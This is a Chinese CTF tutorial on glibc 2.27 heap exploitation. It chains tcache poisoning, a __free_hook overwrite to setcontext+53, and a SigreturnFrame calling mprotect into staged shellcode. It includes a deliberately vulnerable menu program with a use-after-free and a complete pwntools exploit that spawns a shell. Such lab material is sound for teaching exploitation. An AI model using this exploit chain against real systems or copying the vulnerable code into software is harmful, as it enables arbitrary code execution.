目录
一、setcontext gadget
二、setcontext + shellcode
(一)覆写__free_hook为setcontext+53
(二)在堆块布置了一块sigframe
(三)覆写__free_hook+0x8=__free_hook+0x10
(四)从__free_hook+0x10开始写shellcode1
(五)传入shellcode2
三、过程图示
四、模板与测试
(一)pwn.c
(二)exp.py
部分图和资料,参考自看雪相关课程
一、setcontext gadget
setcontext函数是libc中一个独特的函数,它的功能是传入一个 SigreturnFrame 结构指针,然后根据 SigreturnFrame 的内容设置各种寄存器。 因此从 setcontext+53(不同 libc 偏移可能不同)的位置开始有如下 gadget,即根据 rdi 也就是第一个 参数指向的 SigreturnFrame 结构设置寄存器。
0x7ffff7852085 <setcontext+53> mov rsp, qword ptr [rdi + 0xa0]0x7ffff785208c <setcontext+60> mov rbx, qword ptr [rdi + 0x80]0x7ffff7852093 <setcontext+67> mov rbp, qword ptr [rdi + 0x78]0x7ffff7852097 <setcontext+71> mov r12, qword ptr [rdi + 0x48]0x7ffff785209b <setcontext+75> mov r13, qword ptr [rdi + 0x50]0x7ffff785209f <setcontext+79> mov r14, qword ptr [rdi + 0x58]0x7ffff78520a3 <setcontext+83> mov r15, qword ptr [rdi + 0x60]0x7ffff78520a7 <setcontext+87> mov rcx, qword ptr [rdi + 0xa8]0x7ffff78520ae <setcontext+94> push rcx0x7ffff78520af <setcontext+95> mov rsi, qword ptr [rdi + 0x70]0x7ffff78520b3 <setcontext+99> mov rdx, qword ptr [rdi + 0x88]0x7ffff78520ba <setcontext+106> mov rcx, qword ptr [rdi + 0x98]0x7ffff78520c1 <setcontext+113> mov r8, qword ptr [rdi + 0x28]0x7ffff78520c5 <setcontext+117> mov r9, qword ptr [rdi + 0x30]0x7ffff78520c9 <setcontext+121> mov rdi, qword ptr [rdi + 0x68]0x7ffff78520cd <setcontext+125> xor eax, eax EAX => 00x7ffff78520cf <setcontext+127> ret
因此只需要设置 rdi 为 SignatureFrame 结构体指针,然后跳转到 外的寄存器设置成对应的值。 setcontext + 53 就可以将除 rax 例如__free_hook 传入的参数是释放的内存的指针,因此可以通过将 free hook 写入 setcontext gadget 然后 free 一个存储 SigreturnFrame 结构的内存来设置寄存器,继而控制程序执行流程来执行 shellcode 或进一步 rop 。
二、setcontext + shellcode
这一次我先给出exp的核心代码,然后再介绍流程。
# tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x3f8)
add(0,0x3f8) # __free_hook# setcontext+shellcode
payload=p64(libc.sym['setcontext']+53)
payload+=p64(libc.sym['__free_hook']+0x10)
payload+=asm('''xor rdi,rdimov rsi,%dmov rdx,0x2000xor rax,raxsyscalljmp rsi
''' % (libc.sym['__free_hook'] & ~0xfff))edit(0,len(payload),payload)
frame=SigreturnFrame()
frame.rsp=libc.sym['__free_hook']+8
frame.rip=libc.sym['mprotect']
frame.rdi=libc.sym['__free_hook'] & ~0xfff
frame.rsi=0x2000
frame.rdx=7edit(1,len(frame.__bytes__()),frame.__bytes__())
delete(1)
做了哪些操作?作用和效果?
(一)覆写__free_hook为setcontext+53
如果我们free(ptr)而ptr指向了一块sigframe,则会设置各个寄存器(除了rax)的值。
(二)在堆块布置了一块sigframe
- rsp=__free_hook+8
- rip=mprotect
- rdi=addr
- rsi=0x2000
- rdx=7
这里的addr=libc.sym['__free_hook'] & ~0xfff,也就是__free_hook所在页的首地址,将两个页(一个就行其实)大小的区域保护属性改为rwx。
(三)覆写__free_hook+0x8=__free_hook+0x10
实际上是让mprotect返回时跳转到__free_hook+0x10
(四)从__free_hook+0x10开始写shellcode1
mprotect执行后,跳转到此处,执行读入操作,可以将数据(shellcode2)读入到addr开始的区域。注意,此时addr开始的区域已经变成了rwx
(五)传入shellcode2
shellcode1可以执行,再跳转一次是为了避免空间不够。
一般遇到情况是开启了沙箱,只能进行orw,因此shellcode1读入shellcode2,shellcode2=orw
三、过程图示
之后释放一个 SigreturnFrame,寄存器设置如下图所示。程序通过 setcontext gadget 设置寄存器后将 完成栈迁移可程序执行流劫持后程序将执行,此时会调用 mprotect 函数将 free_hook 所在内存页添加 可执行属性并且会将栈迁移至 &free_hook+0x8 的位置。执行完 mprotect 函数后程序将跳转至 shellcode1 执行。shellcode 会向 __free_hook 所在内存页起始位置读入能 orw 的 shellcode2 并跳转 至 shellcode 执行获取 flag
四、模板与测试
(一)pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
(二)exp.py
from pwn import *
elf=ELF('./pwn')
libc=ELF('/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)# leak libc
add(0,0x410)
add(1,0x410)
delete(0)
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
info("libc base: "+hex(libc.address))
delete(1)# tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(1,0x3f8)
add(0,0x3f8) # __free_hook# setcontext+shellcode
payload=p64(libc.sym['setcontext']+53)
payload+=p64(libc.sym['__free_hook']+0x10)
payload+=asm('''xor rdi,rdimov rsi,%dmov rdx,0x2000xor rax,raxsyscalljmp rsi
''' % (libc.sym['__free_hook'] & ~0xfff))edit(0,len(payload),payload)
frame=SigreturnFrame()
frame.rsp=libc.sym['__free_hook']+8
frame.rip=libc.sym['mprotect']
frame.rdi=libc.sym['__free_hook'] & ~0xfff
frame.rsi=0x2000
frame.rdx=7edit(1,len(frame.__bytes__()),frame.__bytes__())
delete(1)io.sendline(asm(shellcraft.sh())) # orwio.interactive()
1.__free_hook跳转到setcontext,且rdi指向了布局好的sigframe
2.setcontext返回时,最后将rip指向mprotect,rdi等参数也设置完毕
3.执行shellcode1,读入shellcode2
4.跳转到并执行shellcode2(这里没用orw,演示就直接用了sh)